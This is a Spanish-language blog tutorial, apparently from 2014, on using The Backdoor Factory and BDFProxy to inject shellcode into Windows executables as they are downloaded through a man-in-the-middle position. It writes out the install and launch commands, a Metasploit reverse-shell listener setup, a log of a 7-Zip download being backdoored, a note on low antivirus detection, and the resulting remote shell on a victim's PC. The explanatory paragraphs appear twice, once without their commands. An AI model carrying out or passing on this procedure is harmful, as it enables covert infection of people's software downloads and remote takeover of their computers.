The Backdoor Factory (BDF) es una herramienta escrita en Python para "parchear" binarios ejecutables añadiendo shellcodes mediante Code Cave Injection.
Esto es, en lugar de abusar de una función del API de Windows para
forzar que un proceso cargue un archivo DLL, asignar memoria en nuestro
proceso de destino e inyectar un pequeño fragmento de código, o mejor
dicho el trozo que cargará el archivo DLL. Esta es una forma más eficaz y
menos detectada de inyección de código.
Más o menos, lo que hace BDF es enumerar el formato de la cabecera PE/COFF, buscar code caves que correspondan al tamaño del shellcode, insertarlo y volver a los registros/flags correspondientes para continuar con la ejecución normal del programa. Además permite "backdoorizar" un directorio entero, personalizar tus propios shellcodes y tiene un módulo de inyección bastante chulo que mirará un proceso o servicio específico para automatizar la inyección.
Y por si fuera poco, recientemente se ha publicado The Backdoor Factory Proxy (BDFProxy) que es capaz de parchear los binarios "al vuelo" durante la descarga, convirtiendo un MITM en un vector de ataque sumamente peligroso:
Su instalación en Kali Linux es sumamente sencilla:
Necesitaremos también el módulo 'pefile' para leer y trabajar con ficheros PE (Portable Executable):
Echamos un vistazo al fichero de configuración bdfproxy.cfg y lanzamos el script principal:
Luego preparamos nuestro meterpreter:
Y cuando la víctima se descargue un ejecutable de Internet se parcheará automáticamente con nuestro shellcode:
El fichero exe resultante no es FUD pero tiene una tasa de detección bastante baja:
https://www.virustotal.com/es/file/176bcf478114f69c82a2fb99b9950dbe6a2d4ca5edce099c28e591bdf1c700e3/analysis/1401706535/
Así que cuando la víctima ejecute el fichero exe infectado abrirá en background una sesión remota en nuestro equipo (el del atacante):
Más o menos, lo que hace BDF es enumerar el formato de la cabecera PE/COFF, buscar code caves que correspondan al tamaño del shellcode, insertarlo y volver a los registros/flags correspondientes para continuar con la ejecución normal del programa. Además permite "backdoorizar" un directorio entero, personalizar tus propios shellcodes y tiene un módulo de inyección bastante chulo que mirará un proceso o servicio específico para automatizar la inyección.
Y por si fuera poco, recientemente se ha publicado The Backdoor Factory Proxy (BDFProxy) que es capaz de parchear los binarios "al vuelo" durante la descarga, convirtiendo un MITM en un vector de ataque sumamente peligroso:
Su instalación en Kali Linux es sumamente sencilla:
root@kali:~# git clone https://github.com/secretsquirrel/BDFProxy bdf-proxy/
root@kali:~/bdf-proxy# ./install.sh
root@kali:~/bdf-proxy# ./update.sh
Necesitaremos también el módulo 'pefile' para leer y trabajar con ficheros PE (Portable Executable):
root@kali:~/bdf-proxy# wget https://pefile.googlecode.com/files/pefile-1.2.10-139.tar.gz
root@kali:~/bdf-proxy# tar -zxvf pefile-1.2.10-139.tar.gz
root@kali:~/bdf-proxy/pefile-1.2.10-139# python setup.py install
Echamos un vistazo al fichero de configuración bdfproxy.cfg y lanzamos el script principal:
root@kali:~/bdf-proxy# ./bdf_proxy.py
[!] Writing resource script.
[!] Resource writen to bdfproxy_msf_resource.rc
[!] Starting BDFProxy
Luego preparamos nuestro meterpreter:
msf > use multi/handler
msf exploit(handler) > set LHOST 192.168.142.128
LHOST => 192.168.142.128
msf exploit(handler) > set LPORT 8443
LPORT => 8443
msf exploit(handler) > exploit -z -j
Y cuando la víctima se descargue un ejecutable de Internet se parcheará automáticamente con nuestro shellcode:
********** REQUEST **********
[*] HOST: cznic.dl.sourceforge.net
[*] PATH: /project/sevenzip/7-Zip/9.20/7z920.exe
********** END REQUEST **********
========== RESPONSE ==========
[*] HOST: cznic.dl.sourceforge.net
[*] PATH: /project/sevenzip/7-Zip/9.20/7z920.exe
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Looking for and setting selected shellcode
[*] /tmp/tmpS8kUPf backdooring complete
[*] Patching complete, forwarding to user.
========== END RESPONSE ==========
El fichero exe resultante no es FUD pero tiene una tasa de detección bastante baja:
https://www.virustotal.com/es/file/176bcf478114f69c82a2fb99b9950dbe6a2d4ca5edce099c28e591bdf1c700e3/analysis/1401706535/
Así que cuando la víctima ejecute el fichero exe infectado abrirá en background una sesión remota en nuestro equipo (el del atacante):
msf exploit(handler) > [*] Command shell session 1 opened (192.168.142.128:8443 -> 172.20.3.109:11162) at 2014-06-02 01:19:36 -0400 msf exploit(handler) > msf exploit(handler) > sessions -l Active sessions =============== Id Type Information Connection -- ---- ----------- --------- 1 shell windows 192.168.142.128:8443 -> 172.20.3.109:11162 (
172.20.3.109
) msf exploit(handler) > sessions -i 1 [*] Starting interaction with 1... Microsoft Windows [Versi�n 6.1.7601] Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos. C:\Users\vmotos\Desktop>whoami whoami PC23462\vmotos
No hay comentarios:
Publicar un comentario